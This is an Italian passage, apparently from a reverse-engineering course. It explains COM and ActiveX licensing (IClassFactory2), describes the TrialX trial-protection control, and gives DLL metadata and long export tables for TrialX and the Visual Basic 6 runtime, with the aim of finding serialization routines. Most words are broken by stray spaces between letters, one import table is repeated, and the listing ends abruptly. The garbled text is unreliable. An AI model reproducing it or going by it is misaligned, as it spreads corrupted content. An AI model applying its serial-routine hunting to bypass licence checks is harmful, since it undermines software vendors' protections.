Tut t e l e f unzi oni ut i l i zzat e nei pr ogr ammi par t ono come f l usso di chi amat e da
quel l a che pot r ebbe esser e def i ni t a come mai n f unct i on.
I n C quest a f unzi one pr ende i l nome di Wi nMai n ment r e i n assembl er pot r emmo
def i ni r l o sol t ant o come ent r ypoi nt del sof t war e.
I pr ogr ammi i n Wi ndows 3. 1 chi amavano pr i ma di Wi nMai n t r e f unzi oni semi
document at e ovver o I ni t Task( ) , I ni t App e Wai t Event ( ) .
I n Wi n32 pr i ma di Wi nMai n veni va chi amat a l a f unzi one Wi nMai nCRTSt ar t up( ) ment r e
per i pr ogr ammi consol e i l nome er a mai nCRTSt ar t up( ) .
Gener al ment e i l compi l at or e, t r a l e t ant e cose che aggi unge, ci met t e anche
quest a f unzi one ma sol o nel caso i n cui quest a non esi st a.
I n al t r e par ol e i l pr ogr ammat or e pot r ebbe scr i ver e l ui quest a f unzi one.
Una l i br er i a di f unzi oni pot r ebbe esser e vi st a come una met odol ogi a per i l
r i ut i l i zzo del codi ce.
I n pr at i ca una f unzi one suf f i ci ent ement e gener i ca e con uno scopo non l i mi t at o
ad un sol o pr ogr amma, pot r ebbe esser e i nser i t a i n una l i br er i a e successi vament e
r i ut i l i zzat a i n al t r i pr ogr ammi .
Mi cr osof t per gar ant i r e l a r i usabi l i t del sof t war e a l i vel l o bi nar i o ha punt at o
sul l a t ecnol ogi a OLE.
Dal l a f i ne degl i anni 80 l a t ecnol ogi a OLE ha subi t o un i nf i ni t di modi f i che
si no ad abbr acci ar e l a nuova t ecnol ogi a l egat a al model l o COM.
Mol t e f unzi onal i t nei pr ogr ammi al gi or no d oggi sono svi l uppat e medi ant e
quest a t ecnol ogi a.
Nei pr ogr ammi vendut i sono sempr e pi pr esent i modul i OCX nel l e qual i sono
i ncapsul at e t ut t e i met odi r el at i vi a det er mi nat e gest i oni .
Le l i br er i e di f unzi oni , come ad esempi o quel l e l egat e al l a gr af i ca, sono
di st r i bui t e i n quest o f or mat o e non r ar o t r ovar e si st emi di pr ot ezi one
sof t war e ader ent i a quest o f i l one.
I l l at o posi t i vo di quest a met odol ogi a che l i nt egr azi one t r a component i
di ver se, svi l uppat i i n t empi di f f er ent i e da var i aut or i , avvi ene a l i vel l o di
codi ce ogget t o e non di sor gent e.
Ader i r e a quest o st andar d por t a ad una ser i e di vant aggi t r a cui
l i nt er oper abi l i t t r a component i di ver si , l i ndi pendenza dal l i nguaggi o e l a
compat i bi l i t a r i t r oso ver so pr ecedent i ver si oni del l o st esso component e.
Lo st andar d COM di spone di i nt er f acce che possono esser e vi st e come una
col l ezi one di f unzi oni l a cui si nt assi una vol t a def i ni t a r i mane i mmut at a.
Tut t e l e f unzi onal i t degl i ogget t i COM sono r ese di sponi bi l i t r ami t e quest e
i nt er f acce.
Ogni component e vi ene i mpl ement at o come un punt at or e ad una v- t abl e, ovver o una
t abel l a di punt at or i a f unzi one.
Su un vol ume avevo l et t o una vol t a una met af or a che r endeva bene l i dea usando
i l concet t o di cont r at t o.
I n pr at i ca un ogget t o COM veni va par agonat o a quest o i n quant o quando di chi ar ava
di suppor t ar e una cer t a i nt er f acci a ComI nt er f ace, ad esempi o, assi cur ava per
cont r at t o l i mpl ement azi one di t ut t e l e f unzi oni pr evi st e.
I l model l o COM ha come base di t ut t i i suoi component i l i nt er f acci a I unknow
compost a da t r e f unzi oni di base : AddRef ( ) , Rel ease( ) , Quer yI nt er f ace( ) .
Le pr i me due gest i scono un meccani smo i nt er no di cont eggi o del l e r ef er enze.
Tut t e l e vol t e che l ogget t o vi ene connesso un cont at or e i nt er no vi ene
i ncr ement at o e i nver sament e vi ene decr ement at o quando quest o vi ene r i l asci at o.
I l met odo Quer yI nt er f ace( ) i nvece ha i l compi t o di at t i var e i l pr ocesso di
i nt er oper abi l i t t r a component i e i l suo suppor t o.
Quest o met odo obbl i gat or i o per t ut t i gl i ogget t i COM.
Esi st e una speci e di anal ogi a t r a l e cl assi del C++ e gl i ogget t i COM anche se
uno a l i vel l o sor gent e ment r e l al t r o a l i vel l o bi nar i o.
Tut t e e due possono esser e vi st e come r i f er i ment i a una t abel l a di f unzi oni che
el enca i ser vi zi che possono ser vi r e.
Act i veX di spone di un si st ema par t i col ar e per l a gest i one del l e l i cenze.
Per f ar e quest o MFC met e a di sposi zi one uno schema di base i n gr ado di
soddi sf ar e l a maggi or par t e del l e esi genze i n quest o set t or e.
Come di cevo pr i ma Act i veX si basa sul l a met odol ogi a del l e i nt er f acce e anche per
l i mpl ement azi one del l e l i cenze vi ene esegui t a t r ami t e quel l a chi amat a
I cl assFact or y2 che compr ende al cuni met odi che sono abbast anza sempl i ci da
scr i ver e.
Quando una sof t war e house scr i ve una cont r ol l o Act i veX e l o met t e i n vendi t a sa
che l acqui r ent e l o ut i l i zzer nel l a sua appl i cazi one e che qui ndi di st r i bui r
i l f i l e . ocx che cont i ene i met odi ad al t r e per sone.
I l pr obl ema del l a l i cenza cer ca di r i sol ver e i l pr obl ema del l uso non
aut or i zzat o di quest a.
Chi r i ceve l appl i cazi one pot r ebbe t r anqui l l ament e i nser i r e i l cont r ol l o OCX
dent r o ad un suo pr ogr amma, una pagi na ht ml o qual si asi sof t war e che suppor t i
quest a met odol ogi a.
I l si st ema del l e l i cene dovr ebbe i nnanzi t ut t o di f f er enzi ar e quel l o che l uso
del cont r ol l o i n un ambi ent e di svi l uppo da quel l o di r unt i me.
Avr et e vi st o i n gi r o per i vost r i di schi dei f i l e . LI C.
Quest i sono f i l e di l i cenza ut i l i zzat i con cont r ol l i OCX che avet e i nst al l at o
con qual che si st ema di svi l uppo o a segui t o di qual che appl i cat i vo gener al e.
La cl asse di gest i one del l e l i cenze, I CLasFact or y2, der i va dal l a cl asse
I Cl assFact or y r i spet t o al l a qual e di spone sol o di al cuni met odi i n pi .
I l met odo Get Li cI nf o r ecuper a l e i nf or mazi oni che r i guar dano l at t ual e l i cenza
del cont r ol l o.
Se i l cont r ol l o l o suppor t a, i l met odo Rquest Li cKey gl i chi ede una copi a r un-
t i me del l a l i cenza.
I l met odo Cr eat eI nst anceLi c anal ogo a Cr eat eI nst ace sal vo che pr ende come
par amet r o l a chi ave di l i cenza.
Esi st ono met odi come Get Li cI nf o, Request Li cKey e Cr eat eI nst anceLi c che
cost i t ui scono l e basi per t ut t i i cont r ol l i di l i cenza.
La chi ave di l i cenza vi ene t r at t at a come un BSTR anche se di f at t o pu cont ener e
qual si asi dat o compr esi dei NULL.


ACTIVE X PER SISTEMI DI CREAZIONE DEMO


Come di cevo pr i ma gl i Act i veX st anno di vent ando uno st andar d anche nel campo
del l e pr ot ezi oni da copi a e per i si st emi di cr eazi one demo.
Un pr odot t o commer ci al e l egat o a quest a t ecnol ogi a Tr i al X.
Quest o cont r ol l o Act i veX i n gr ado di esser e i mpl ement at o i n qual si asi
pr ogr amma per cr ear e ver si oni di most r at i ve anche mol t o compl esse.
Tr i al X mant i ene l e i nf or mazi oni r el at i ve al pr ogr amma e al l ut ent e i n un suo
dat abase non vi si bi l e.
Tr i al X esi st e i n t r e ver si oni che di spongono del l e seguent i possi bi l i t ( l egget e
i l capt ur e del l a pubbl i ci t di Tr i al X) :

Standard EditionThe Standard Edition includes all of the Free Edition
features plus it provides complete control over the duration of the trial. It
is limited to day limited trials. You cannot change the style of trial.
Developer EditionThe Developer Edition includes all of the Standard
Edition features plus it provides complete control over both the style and
duration of the trial. It supports day locks, time locks, run locks, feature
locks and date locks. You have complete control over the appearance,
style and duration of the trials. You cannot extend, remove or otherwise
control the trial remotely.
Professional EditionThe Professional Edition includes all of the
Developer Edition features plus it provides complete remote control over
trial for extensions, removals and updates to the trial. It also provides
localization capabilities so that you can create custom localized versions
of your trials.

Tr ai l X si basa sul l a DLL o sul l OCX TRXTD200. DLL.

General informations : c:\Windows\SYSTEM\Trxtd200.dll
=====================================================
Last update : 15/06/99
File size : 475 136 byte(s)
Module type : WINDOWS Dynamic links library (32 bits)
FileDescription : Secure Trials of Your Real Software
FileVersion : 2.02.0071
CompanyName : Modern Software Publishing, Inc.
LegalCopyright : 1999 Modern Software Publishing, Inc. All rights reserved.
InternalName : trxtd200
OriginalFilename : trxtd200.dll
ProductName : Modern TrialX 2.0 (DLL)
ProductVersion : 2.02.0071

La DLL espor t a l e seguent i f unzi oni

Exported functions : c:\Windows\SYSTEM\Trxtd200.dll
===================================================
0 DllCanUnloadNow
1 DllGetClassObject
2 DllRegisterServer
3 DllUnregisterServer

ed i mpor t a dal l a DLL r el at i va al l a Vi r t ual Machi ne di Vi sual Basi c 6. 0

Imported functions : c:\Windows\SYSTEM\Trxtd200.dll
===================================================
MSVBVM60 0 DllFunctionCall
MSVBVM60 0 EVENT_SINK_AddRef
MSVBVM60 0 EVENT_SINK_GetIDsOfNames
MSVBVM60 0 EVENT_SINK_Invoke
MSVBVM60 0 EVENT_SINK_QueryInterface
MSVBVM60 0 EVENT_SINK_Release
MSVBVM60 0 MethCallEngine
MSVBVM60 0 ProcCallEngine
MSVBVM60 0 Zombie_GetTypeInfo
MSVBVM60 0 Zombie_GetTypeInfoCount
MSVBVM60 0 __vbaExceptHandler


La DLL si r i f er i sce di r et t ament e ed i ndi r et t ament e al l e seguent i DLL di si st ema
e di RunTi me.
Imported functions : c:\Windows\SYSTEM\Trxtd200.dll
===================================================
MSVBVM60 0 DllFunctionCall
MSVBVM60 0 EVENT_SINK_AddRef
MSVBVM60 0 EVENT_SINK_GetIDsOfNames
MSVBVM60 0 EVENT_SINK_Invoke
MSVBVM60 0 EVENT_SINK_QueryInterface
MSVBVM60 0 EVENT_SINK_Release
MSVBVM60 0 MethCallEngine
MSVBVM60 0 ProcCallEngine
MSVBVM60 0 Zombie_GetTypeInfo
MSVBVM60 0 Zombie_GetTypeInfoCount
MSVBVM60 0 __vbaExceptHandler


LIBRERIA MACCHINA VIRTUALE VISUAL BASIC 6.0

Un di scor so par t i col ar e i n r el azi one al l e l i br er i e va f at t o per quant o r i guar da
quel l e di un dei l i nguaggi pi ut i l i zzat i ovver o Vi sual Basi c.
Mol t i ssi mi pr ogr ammi f anno r i f er i ment o al l e l i br er i e di Vi sual Basi c 6. 0, ad
esempi o anche Tr i al X che abbi amo appena vi st o.
I l f i l e di RunTi me si chi ama MSVBVM60. DLL e come di ce i l nome con pr eci si one
r el at i vo al l a macchi na vi r t ual e di VB.
I dat i pr eci si sono :

General informations : f:\WINNT\SYSTEM32\MSVBVM60.DLL
Last update : 26/04/99
File size : 1 409 024 byte(s)
Module type : WINDOWS Dynamic links library (32 bits)
FileDescription : Visual Basic Virtual Machine
FileVersion : 6.00.8244
CompanyName : Microsoft Corporation
LegalCopyright : Copyright 1987-1998 Microsoft Corp.
InternalName : MSVBVM60.DLL
ProductName : Visual Basic
ProductVersion : 6.00.8244



Ut i l i zzando WDASM ci si
r i t r ova di nanzi ad una
f i nest r a r el at i va al l e
f unzi oni i mpor t at e del
t i po r i por t at o qui a
f i anco.
La seguent e l i st a most r a
l e f unzi oni espor t at e da
MSVBVM60. DLL








Expor t ed f unct i ons : f : \ WI NNT\ SYSTEM32\ MSVBVM60. DLL

0 ThunRTMai n
1 VBDl l UnRegi st er Ser ver
2 VBDl l CanUnl oadNow
3 VBDl l Regi st er Ser ver
4 VBDl l Get Cl assObj ect
5 User Dl l Mai n
6 Dl l Regi st er Ser ver
7 Dl l Unr egi st er Ser ver
8 __vbaAr yLock
9 __vbaBool Er r Var
10 __vbaRedi mVar 2
11 __vbaSt r Er r Var Copy
12 __vbaVar Lat eMemCal l Ld
13
__vbaVar Lat eMemCal l LdRf
14 __vbaVar Lat eMemCal l St
15 __vbaVar Lat eMemSt
16 __vbaVar Lat eMemSt Ad
17 __vbaAr yVar Var g
18 __vbaFpCDbl R4
19 __vbaFpCDbl R8
20 __vbaFpCSngR4
21 __vbaFpCSngR8
22 __vbaFpCmpCy
23 __vbaFpCy
24 __vbaFpI 2
25 __vbaFpI 4
26 __vbaFpR4
27 __vbaFpR8
28 __vbaFpUI 1
29 __vbaFr eeObj
30 __vbaFr eeSt r
31 __vbaFr eeVar
32 __vbaFr eeVar g
33 __vbaI 2Abs
34 __vbaI 2I 4
35 __vbaI 2Sgn
36 __vbaI 4Abs
37 __vbaI 4Sgn
38 __vbaSt r Copy
39 __vbaSt r Move
40 __vbaUI 1I 2
41 __vbaUI 1I 4
42 __vbaUI 1Sgn
43 __vbaVar Copy
44 __vbaVar Dup
45 __vbaVar Move
46 __vbaVar Var gNof r ee
47 __vbaVar Zer o
48 __vbaVar gPar mRef
49 __vbaVar gVar
50 __vbaVar gVar Copy
51 __vbaVar gVar Move
52 __vbaVar gVar Ref
53 DLLGet Document at i on
54 Dl l CanUnl oadNow
55 Dl l Get Cl assObj ect
56 _CI at an
57 _CI cos
58 _CI exp
59 _CI l og
60 _CI si n
61 _CI sqr t
62 _CI t an
63 __vbaApt Of f set
64 __vbaAr yConst r uct 2
65 __vbaAr yConst r uct
66 __vbaAr yCopy
67 __vbaAr yDest r uct
68 __vbaAr yMove
69 __vbaAr yRebase1Var
70 __vbaAr yRecCopy
71 __vbaAr yRecMove
72 __vbaAr yUnl ock
73 __vbaAr yVar
74 __vbaBool St r
75 __vbaBool Var
76 __vbaBool Var Nul l
77 __vbaCVar Ar yUdt
78 __vbaCast Obj
79 __vbaCast Obj Var
80 __vbaCheckType
81 __vbaCheckTypeVar
82 __vbaChkst k
83 __vbaCopyByt es
84 __vbaCopyByt esZer o
85 __vbaCyAbs
86 Pr ocCal l Engi ne
87 Dl l Funct i onCal l
88 __vbaCyAdd
89 __vbaCyEr r Var
90 CopyRecor d
91 __vbaCyFi x
92 __vbaCyFor I ni t
93 __vbaCyFor Next
94 __vbaCyI 2
95
Ti pGet Addr essOf Pr edecl ar edI n
st ance
96 __vbaCyI 4
97 __vbaCyI nt
98 __vbaCyMul
99 Met hCal l Engi ne
100 __vbaCyMul I 2
101 __vbaCySgn
102 __vbaCySt r
103 __vbaCySub
104 __vbaCyUI 1
105 __vbaCyVar
106 __vbaDat eR4
107 __vbaDat eR8
108 __vbaDat eSt r
109 __vbaDat eVar
110 __vbaDer ef Ar y
111 __vbaDer ef Ar y1
112 __vbaEnd
113 __vbaEr ase
114 __vbaEr aseKeepDat a
115 __vbaEr aseNoPop
116 __vbaEr r or
117 __vbaEr r or Over f l ow
118 __vbaExcept Handl er
119 __vbaExi t EachAr y
120 Ti pSet Opt i on
121 __vbaExi t EachCol l
122 __vbaExi t EachVar
123 __vbaExi t Pr oc
124 __vbaFPExcept i on
125 __vbaFPFi x
126 __vbaFPI nt
127 Ti pUnl oadPr oj ect
128 __vbaFai l edFr i end
129 __vbaFi l eCl ose
130
Ti pCr eat eI nst ancePr oj ect 2
131 EbReset Pr oj ect
132
EbGet Handl eOf Execut i ngPr oj ec
t
133 __vbaFi l eCl oseAl l
134 __vbaFi l eLock
135 __vbaFi l eOpen
136 __vbaFi l eSeek
137 __vbaFi xst r Const r uct
138 __vbaFor EachAr y
139 __vbaFor EachCol l Ad
140 __vbaFor EachCol l Obj
141 __vbaFor EachCol l Var
142 __vbaFor EachVar
143 __vbaFr eeObj Li st
144 __vbaFr eeSt r Li st
145 __vbaFr eeVar Li st
146
__vbaGener at eBoundsEr r or
147 __vbaGet 3
148 __vbaGet 4
149 __vbaGet FxSt r 3
150 __vbaGet FxSt r 4
151 __vbaGet Owner 3
152 __vbaGet Owner 4
153 __vbaGosub
154 __vbaGosubFr ee
155 __vbaGosubRet ur n
156 __vbaHr esul t Check
157
__vbaHr esul t CheckNonvi r t
158 __vbaHr esul t CheckObj
159 __vbaI 2Cy
160 __vbaI 2Er r Var
161 __vbaI 2For Next Check
162 __vbaI 2St r
163 __vbaI 2Var
164 __vbaI 4Cy
165 EbReset Pr oj ect Nor mal
166 Ti pUnl oadI nst ance
167 __vbaI 4Er r Var
168 EbLi br ar yLoad
169 EbLi br ar yUnl oad
170 __vbaI 4For Next Check
171 EbLoadRunTi me
172 __vbaI 4St r
173 __vbaI 4Var
174 EbCr eat eCont ext
175 EbDest r oyCont ext
176
EbSet Cont ext Wor ker Thr ead
177 __vbaI nSt r
178 __vbaI nSt r B
179 __vbaI nSt r Var
180 __vbaI nSt r Var B
181 __vbaI nput Fi l e
182 __vbaLat eI dCal l
183 __vbaLat eI dCal l Ld
184 EbGet Er r or I nf o
185 __vbaLat eI dCal l St
186 __vbaLat eI dNamedCal l
187 __vbaLat eI dNamedCal l Ld
188 __vbaLat eI dNamedCal l St
189 __vbaLat eI dNamedSt Ad
190 __vbaLat eI dSt
191 __vbaLat eI dSt Ad
192 __vbaLat eMemCal l
193 __vbaLat eMemCal l Ld
194 __vbaLat eMemCal l St
195 __vbaLat eMemNamedCal l
196
__vbaLat eMemNamedCal l Ld
197
__vbaLat eMemNamedCal l St
198 EbI sPr oj ect OnSt ack
199 Ti pCr eat eI nst anceEx
200 Get Mem2
201 Get Mem4
202 Get Mem8
203 Get MemSt r
204 Get MemVar
205 Get MemObj
206 Put Mem2
207 Put Mem4
208 Put Mem8
209 Put MemSt r
210 Put MemVar
211 Put MemObj
212 Set MemVar
213 Set MemObj
214 Get MemNewObj
215 Put MemNewObj
216 Set MemNewObj
217 Get Mem1
218 Put Mem1
219 Get MemEvent
220 Put MemEvent
221 Set MemEvent
222 __vbaLat eMemNamedSt Ad
223 __vbaLat eMemSt
224 __vbaLat eMemSt Ad
225 __vbaLbound
226 __vbaLdZer oAr y
227 __vbaLenBst r
228 __vbaLenBst r B
229 __vbaLenVar
230 __vbaLenVar B
231 __vbaLi neI nput St r
232 __vbaLi neI nput Var
233 __vbaLset Fi xst r
234 __vbaLset Fi xst r Fr ee
235 __vbaMi dSt mt Bst r
236 __vbaMi dSt mt Bst r B
237 __vbaMi dSt mt Var
238 __vbaMi dSt mt Var B
239 __vbaNameFi l e
240 __vbaNew2
241 __vbaNew
242 __vbaNext EachAr y
243 __vbaNext EachCol l Ad
244 __vbaNext EachCol l Obj
245 __vbaNext EachCol l Var
246 __vbaNext EachVar
247 __vbaObj Addr ef
248 __vbaObj I s
249 __vbaObj Set
250 __vbaObj Set Addr ef
251 __vbaObj Var
252 __vbaOnEr r or
253 __vbaOnGoCheck
254 __vbaPower R8
255 __vbaPr i nt Fi l e
256 __vbaPr i nt Obj
257 __vbaPut 3
258 __vbaPut 4
259 __vbaPut FxSt r 3
260 __vbaPut FxSt r 4
261 __vbaPut Owner 3
262 __vbaPut Owner 4
263 __vbaR4Cy
264 __vbaR4Er r Var
265 __vbaR4For Next Check
266 __vbaR4Sgn
267 __vbaR4St r
268 __vbaR4Var
269 __vbaR8Cy
270 __vbaR8Er r Var
271 __vbaR8Fi xI 2
272 __vbaR8Fi xI 4
273 __vbaR8For Next Check
274 __vbaR8I nt I 2
275 __vbaR8I nt I 4
276 __vbaR8Sgn
277 __vbaR8St r
278 __vbaR8Var
279 __vbaRai seEvent
280 __vbaRecAnsi ToUni
281 __vbaRecAssi gn
282 __vbaRecDest r uct
283 __vbaRecDest r uct Ansi
284 __vbaRecUni ToAnsi
285 __vbaRedi m
286 __vbaRedi mPr eser ve
287 __vbaRedi mPr eser veVar
288 __vbaRedi mPr eser veVar 2
289 __vbaRedi mVar
290 __vbaRef Var Ar y
291 __vbaResume
292 __vbaRset Fi xst r
293 __vbaRset Fi xst r Fr ee
294 __vbaSet Syst emEr r or
295 __vbaSt opExe
296 __vbaSt r 2Vec
297 __vbaSt r Ar yToAnsi
298 __vbaSt r Ar yToUni code
299 __vbaSt r Bool
300
EVENT_SI NK_Quer yI nt er f ace
301 EVENT_SI NK_AddRef
302 EVENT_SI NK_Rel ease
303
EVENT_SI NK_Get I DsOf Names
304 EVENT_SI NK_I nvoke
305 __vbaSt r Cat
306 __vbaSt r Cmp
307 __vbaSt r Comp
308 __vbaSt r CompVar
309 __vbaSt r Cy
310
BASI C_CLASS_Quer yI nt er f ace
311 BASI C_CLASS_AddRef
312 BASI C_CLASS_Rel ease
313
BASI C_CLASS_Get I DsOf Names
314 BASI C_CLASS_I nvoke
315 __vbaSt r Dat e
316 __vbaSt r Fi xst r
317 __vbaSt r I 2
318 __vbaSt r I 4
319 __vbaSt r Li ke
320
BASI C_DI SPI NTERFACE_Get TI Cou
nt
321
BASI C_DI SPI NTERFACE_Get TypeI
nf o
322 __vbaSt r R4
323 __vbaSt r R8
324 __vbaSt r Text Cmp
325 __vbaSt r Text Li ke
326 __vbaSt r ToAnsi
327 __vbaSt r ToUni code
328 __vbaSt r UI 1
329 __vbaSt r Var Copy
330 Zombi e_Quer yI nt er f ace
331 Zombi e_AddRef
332 Zombi e_Rel ease
333
Zombi e_Get TypeI nf oCount
334 Zombi e_Get TypeI nf o
335 Zombi e_Get I DsOf Names
336 Zombi e_I nvoke
337 __vbaSt r Var Move
338 __vbaSt r Var Val
339 __vbaUI 1Cy
340 EVENT_SI NK2_AddRef
341 EVENT_SI NK2_Rel ease
342 __vbaUI 1Er r Var
343 __vbaUI 1St r
344 __vbaUI 1Var
345 __vbaUbound
346 __vbaUdt Var
347 __vbaUnkVar
348 __vbaVar 2Vec
349 __vbaVar Abs
350 __vbaVar Add
351 __vbaVar And
352 __vbaVar Cat
353 __vbaVar CmpEq
354 __vbaVar CmpGe
355 __vbaVar CmpGt
356 __vbaVar CmpLe
357 __vbaVar CmpLt
358 __vbaVar CmpNe
359 __vbaVar Dat eVar
360 __vbaVar Di v
361 __vbaVar Eqv
362 __vbaVar Er r I 4
363 __vbaVar Fi x
364 __vbaVar For I ni t
365 __vbaVar For Next
366 __vbaVar I di v
367 __vbaVar I mp
368 __vbaVar I ndexLoad
369 __vbaVar I ndexLoadRef
370
__vbaVar I ndexLoadRef Lock
371 __vbaVar I ndexSt or e
372 __vbaVar I ndexSt or eObj
373 __vbaVar I nt
374 __vbaVar Li ke
375 __vbaVar Li keVar
376 __vbaVar Mod
377 __vbaVar Mul
378 __vbaVar Neg
379 __vbaVar Not
380 __vbaVar Or
381 __vbaVar Pow
382 __vbaVar Set Obj
383 __vbaVar Set Obj Addr ef
384 __vbaVar Set Unk
385 __vbaVar Set UnkAddr ef
386 __vbaVar Set Var
387 __vbaVar Set Var Addr ef
388 __vbaVar Sub
389 __vbaVar Text CmpEq
390 __vbaVar Text CmpGe
391 __vbaVar Text CmpGt
392 __vbaVar Text CmpLe
393 __vbaVar Text CmpLt
394 __vbaVar Text CmpNe
395 __vbaVar Text Li ke
396 __vbaVar Text Li keVar
397 __vbaVar Text Tst Eq
398 __vbaVar Text Tst Ge
399 __vbaVar Text Tst Gt
400 __vbaVar Text Tst Le
401 __vbaVar Text Tst Lt
402 __vbaVar Text Tst Ne
403 __vbaVar Tst Eq
404 __vbaVar Tst Ge
405 __vbaVar Tst Gt
406 __vbaVar Tst Le
407 __vbaVar Tst Lt
408 __vbaVar Tst Ne
409 __vbaVar Xor
410 __vbaVar gObj
411 __vbaVar gObj Addr ef
412 r t cLef t Bst r
413 r t cLef t Var
414 r t cRi ght Bst r
415 r t cRi ght Var
416 r t cAnsi Val ueBst r
417 r t cLower CaseBst r
418 r t cLower CaseVar
419 r t cTr i mBst r
420 r t cTr i mVar
421 r t cLef t Tr i mBst r
422 r t cLef t Tr i mVar
423 r t cRi ght Tr i mBst r
424 r t cRi ght Tr i mVar
425 r t cSpaceBst r
426 r t cSpaceVar
427 r t cUpper CaseBst r
428 r t cUpper CaseVar
429 r t cKi l l Fi l es
430 r t cChangeDi r
431 r t cMakeDi r
432 r t cRemoveDi r
433 r t cChangeDr i ve
434 r t cBeep
435 r t cGet Ti mer
436 r t cSt r Fr omVar
437 r t cBst r Fr omAnsi
438 r t cPackDat e
439 r t cPackTi me
440 r t cGet Dat eVal ue
441 r t cGet Ti meVal ue
442 r t cGet DayOf Mont h
443 r t cGet Hour Of Day
444 r t cGet Mi nut eOf Hour
445 r t cGet Mont hOf Year
446 r t cGet Pr esent Dat e
447 r t cGet SecondOf Mi nut e
448 r t cSet Dat eVar
449 r t cSet Dat eBst r
450 r t cSet Ti meVar
451 r t cSet Ti meBst r
452 r t cGet DayOf Week
453 r t cGet Year
454 r t cFi l eReset
455 r t cFi l eAt t r i but es
456 r t cI sAr r ay
457 r t cI sDat e
458 r t cI sEmpt y
459 r t cI sEr r or
460 r t cI sNul l
461 r t cI sNumer i c
462 r t cI sObj ect
463 r t cVar Type
464 r t DecFr omVar
465 r t cFi l eWi dt h
466 r t cI nput Count
467 r t cI nput Count Var
468 r t cFi l eSeek
469 r t cFi l eLocat i on
470 r t cFi l eLengt h
471 r t cEndOf Fi l e
472 r t cHexBst r Fr omVar
473 r t cHexVar Fr omVar
474 r t cOct Bst r Fr omVar
475 r t cOct Var Fr omVar
476 r t cFi l eCopy
477 r t cFi l eDat eTi me
478 r t cFi l eLen
479 r t cGet Fi l eAt t r
480 r t cSet Fi l eAt t r
481 r t cR8Val Fr omBst r
482 r t cSi n
483 r t cCos
484 r t cTan
485 r t cAt n
486 r t cExp
487 r t cLog
488 r t cRgb
489 r t cQBCol or
490 r t cMacI d
491 r t cTypeName
492 r t cI sMi ssi ng
493 r t cRandomNext
494 r t cRandomi ze
495 r t cMsgBox
496 r t cI nput Box
497 r t cAppAct i vat e
498 r t cDoEvent s
499 r t cSendKeys
500 r t cShel l
501 r t cAr r ay
502 __vbaVar gUnk
503 __vbaVar gUnkAddr ef
504 __vbaVer i f yVar Obj
505 r t cGet Er l
506 r t cSt r i ngBst r
507 r t cSt r i ngVar
508 r t cVar Bst r Fr omAnsi
509 r t cGet Dat eBst r
510 r t cGet Dat eVar
511 r t cGet Ti meBst r
512 r t cGet Ti meVar
513 r t cVar St r Fr omVar
514 r t cSqr
515 r t cI MESt at us
516 r t cLef t Char Bst r
517 r t cLef t Char Var
518 r t cRi ght Char Bst r
519 r t cRi ght Char Var
520 r t cI nput Char Count
521 r t cI nput Char Count Var
522 r t cSt r ConvVar
523 __vbaWr i t eFi l e
524 r t cGet Host LCI D
525 r t cCr eat eObj ect
526 r t cGet Obj ect
527 r t cAppl eScr i pt
528 r t cMi dBst r
529 r t cMi dVar
530 r t cI nSt r
531 r t cMi dChar Bst r
532 r t cMi dChar Var
533 r t cI nSt r Char
534 r t Bst r Fr omEr r Var
535 r t Bool Fr omEr r Var
536 r t CyFr omEr r Var
537 r t I 2Fr omEr r Var
538 r t I 4Fr omEr r Var
539 r t R4Fr omEr r Var
540 r t R8Fr omEr r Var
541 r t cDat eFr omVar
542 r t cVar Fr omVar
543 r t cCVEr r Fr omVar
544 Var Pt r
545 r t cDi r
546 r t cCur r ent Di r Bst r
547 r t cCur r ent Di r
548 r t cFr eeFi l e
549 r t cCompar eBst r
550 r t cBst r Fr omFor mat Var
551 r t cBst r Fr omEr r or
552 r t cVar Fr omEr r or
553 r t cLenChar Var
554 r t cLenVar
555 r t cFi xVar
556 r t cAbsVar
557 r t cI nt Var
558 r t cSgnVar
559 _adj _f di v_m16i
560 r t cVar Fr omFor mat Var
561 r t cDat eAdd
562 r t cDat eDi f f
563 r t cDat ePar t
564 r t cPar t i t i on
565 r t cChoose
566 r t cEnvi r onVar
567 r t cEnvi r onBst r
568 r t cSwi t ch
569 r t cCommandBst r
570 r t cCommandVar
571 r t cSLN
572 r t cSYD
573 r t cDDB
574 r t cI PMT
575 r t cPPMT
576 r t cPMT
577 r t cPV
578 r t cFV
579 r t cNPer
580 r t cRat e
581 r t cI mmedi at eI f
582 r t cI RR
583 r t cMI RR
584 r t cNPV
585 r t cEr r Obj
586 r t UI 1Fr omEr r Var
587 r t cVar Dat eFr omVar
588 _adj _f di v_m32
589 r t cGet Set t i ng
590 r t cSaveSet t i ng
591 r t cDel et eSet t i ng
592 r t cGet Al l Set t i ngs
593 r t cByt eVal ueBst r
594 r t cBst r Fr omByt e
595 r t cVar Bst r Fr omByt e
596 r t cChar Val ueBst r
597 r t cBst r Fr omChar
598 r t cVar Bst r Fr omChar
599 r t cSet Cur r ent Cal endar

600 r t cGet Cur r ent Cal endar
601 _adj _f di v_m32i
602 r t cFor mat Number
603 r t cFor mat Cur r ency
604 r t cFor mat Per cent
605 r t cFor mat Dat eTi me
606 r t cWeekdayName
607 r t cMont hName
608 r t cFi l t er
609 r t cI nSt r Rev
610 r t cJ oi n
611 r t cSpl i t
612 r t cRepl ace
613 r t cSt r Rever se
614 r t cRound
615 r t cCal l ByName
616 r t cCr eat eObj ect 2
617 r t cSt r ConvVar 2
618 _adj _f di v_m64
619 _adj _f di v_r
620 _adj _f di vr _m16i
621 _adj _f di vr _m32
622 _adj _f di vr _m32i
623 _adj _f di vr _m64
624 _adj _f pat an
625 _adj _f pr em
626 _adj _f pr em1
627 _adj _f pt an
628 _al l mul
899 Ti pI nvokeMet hod2
916 Ti pI nvokeMet hod
924 I I D_I VbaHost
925
EbGet Obj Connect i onCount s
1900 Cr eat eI Expr Sr vObj
1910 EbGet VBAObj ect


Comunque del l a ser i e t ut t o f i ni sce i n chi amat e API
ecco l al ber o ger ar chi co del l e DLL.
A l i vel l o di ker nel 32. dl l , gdi 32. dl l ecc. si
t r over anno l e var i e f unzi oni che sono vi st e nel
capi t ol o r el at i vo al l e API Wi ndows.
Quest e che seguono sono sono l e f unzi oni i mpor t at e.
A f i anco ci t r ovat e l e DLL a cui si r i f er i scono.
I n ogni caso andando a cer car e l e f unzi oni r el at i ve
al l e r out i nes di ser i al i zzazi one dovr emo cer car e l e
f unzi oni el encat e pr ecedent ement e.


I mpor t ed f unct i ons f : \ WI NNT\ SYSTEM32\ MSVBVM60. DLL

ADVAPI 32 10 Adj ust TokenPr i vi l eges
ADVAPI 32 76 Der egi st er Event Sour ce
ADVAPI 32 170 I ni t i al i zeSecur i t yDescr i pt or
ADVAPI 32 191 LookupPr i vi l egeVal ueA
